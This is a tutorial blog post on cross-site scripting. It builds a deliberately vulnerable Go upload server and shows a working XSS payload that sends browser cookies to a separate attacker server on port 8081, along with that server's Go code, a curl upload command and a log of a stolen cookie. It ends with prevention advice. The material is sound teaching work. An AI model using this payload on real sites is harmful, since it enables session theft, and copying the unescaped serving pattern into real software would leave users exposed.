Overview

In today’s post, we’ll learn about Cross-Site Scripting (XSS), build a simple web server with Golang, and see how it can be attacked.

What is XSS

Cross-Site Scripting (XSS) is a vulnerability that can occur when user-supplied input is not validated or properly escaped. An attacker can use this vulnerability to inject malicious scripts into a web page, which can then be executed in another user’s browser, allowing them to hijack the user’s session, tamper with the website, and more.

Untitled

Example of an XSS attack

Let’s create a simple example of creating a web server with Golang and fetching sensitive information.

A server that uploads and displays specific content

 1package main
 2
 3import (
 4	"fmt"
 5	"io"
 6	"net/http"
 7	"os"
 8)
 9
10func uploadFileHandler() http.HandlerFunc {
11	return func(w http.ResponseWriter, r *http.Request) {
12		if r.Method == "POST" {
13			// 1. extract the file
14			file, _, err := r.FormFile("uploadedFile")
15			if err != nil {
16				http.Error(w, err.Error(), http.StatusBadRequest)
17				return
18			}
19			defer file.Close()
20
21			// 2. Read the file contents
22			fileBytes, err := io.ReadAll(file)
23			if err != nil {
24				http.Error(w, err.Error(), http.StatusInternalServerError)
25				return
26			}
27
28			// 3. save the file contents to a temporary file on the server
29			err = os.WriteFile("uploadedScript.html", fileBytes, 0644)
30			if err != nil {
31				http.Error(w, err.Error(), http.StatusInternalServerError)
32				return
33			}
34			
35			fmt.Fprintf(w, "File uploaded successfully")
36		}
37	}
38}
39
40func serveContentHandler() http.HandlerFunc {
41	return func(w http.ResponseWriter, r *http.Request) {
42		http.ServeFile(w, r, "uploadedScript.html")
43	}
44}
45
46func main() {
47	http.HandleFunc("/", uploadFileHandler())
48	http.HandleFunc("/content", serveContentHandler())
49
50	fmt.Println("Server started at :8080")
51	http.ListenAndServe(":8080", nil)
52}

You can upload scripts for XSS attacks with the POST / function and deliver the uploaded content to the user with the GET /content function.

Uploaded XSS attack script

 1// xss.html
 2
 3<script>
 4   function sendCookies() {
 5   var xhr = new XMLHttpRequest();
 6   xhr.open("GET", "http://localhost:8081/steal?cookie=" + encodeURIComponent(document.cookie), true);
 7   xhr.send();
 8}
 9
10   sendCookies();
11</script>

When the script is executed, it sends the cookie information of the user executing the script to the attacker server on port 8081.

Attacker Server

The attacker server receives the cookie information through the XSS attack script.

 1package main
 2
 3import (
 4	"fmt"
 5	"log"
 6	"net/http"
 7)
 8
 9func main() {
10	http.HandleFunc("/steal", func(w http.ResponseWriter, r *http.Request) {
11		enableCors(&w)
12
13		// Get the "cookie" value from the query parameter.
14		cookie := r.URL.Query().Get("cookie")
15		// Print to the console.
16		fmt.Printf("Stealed Cookie: %s\n", cookie)
17
18		w.WriteHeader(http.StatusOK)
19		fmt.Fprint(w, "OK")
20	})
21
22	log.Println("Starting on attacker server port 8081...")
23	log.Fatal(http.ListenAndServe(":8081", nil))
24}
25
26func enableCors(w *http.ResponseWriter) {
27	(*w).Header().Set("Access-Control-Allow-Origin", "*")
28}

Actual result

  1. upload formFile using curl
curl -F "uploadedFile=@path/to/xss.html" http://localhost:8080/
  1. execute GET /content with a specific user (http://localhost:8080/content )
  2. steal cookie information from the attacker’s server
2024/03/17 17:02:10 Started on attacker server port 8081...
Stealed Cookie: Authorization=t1823ski!3a;

In the example above, the XSS attack script is inserted and when the customer accesses the page, the attacker server gets the cookie-related information.

Preventing XSS

To proactively prevent XSS attacks, you can consider several methods.

  1. Input validation: You should perform validation on all input you receive from users, for example, only email addresses should be accepted in the email address field, and where names are entered, you can limit the length or validate for certain characters.
  2. Output encoding: When outputting user input to a web page, use HTML encoding to convert potentially dangerous characters, such as script tags, into safe forms. For example, it converts < to &lt; and > to &gt;.
  3. Content Security Policy (CSP): With a CSP, you can restrict the origin of scripts that can be executed on a web page. → What is CSP, learn more with Golang
  4. Cookie settings: Using the HttpOnly and Secure flags, you can help protect your user’s session from XSS attacks.
    1. HttpOnly: Cookies with this flag set are not accessible via JavaScript, which prevents cookie hijacking via XSS attacks.
    2. Secure: Cookies with this flag set will only be sent over HTTPS.

Summary

XSS attacks can be attempted in various ways besides the examples above. Attack scripts can be placed in specific fields stored in the DB, or if you have a feature that outputs the user’s input as it is, you can perform unwanted scripts directly without considering the above XSS attacks.

In this post, we’ve discussed what XSS is and how it can be attacked using a simple Golang example.